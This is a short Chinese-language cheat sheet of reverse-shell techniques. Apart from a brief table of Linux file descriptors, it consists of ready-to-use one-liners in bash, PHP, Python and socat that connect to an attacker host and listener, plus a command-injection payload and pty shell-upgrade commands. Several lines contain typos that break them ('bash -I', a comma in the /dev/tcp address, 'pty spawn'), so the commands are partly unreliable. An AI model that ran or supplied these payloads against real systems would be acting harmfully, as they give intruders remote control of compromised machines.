反弹 shell的几种方式
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
文件描述符 | 缩写 | 描述 |
0 | STDIN | 标准输入 |
1 | STDOUT | 标准输出 |
2 | STDERR | 标准错误输出 |
bash反弹 shell
靶机:
bash -I >&/dev/tcp/192.168.1.1/9999 0>&1
攻击机:
nc -nvlp 9999
命令注入直接获取一个shell
127.0.0.1&echo 'bash -i >&/dev/tcp/192.168.1.1,9999 0>&1' | bash
调用python直接获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用php建立 socket会话:
正向连接:
php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
反向连接:
php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
python建立socket会话
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获取一个 交互式的 shell
Python -c 'import pty;pty spawn("/bin/bash")'
socat建立连接
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:"192.168.1.1",9999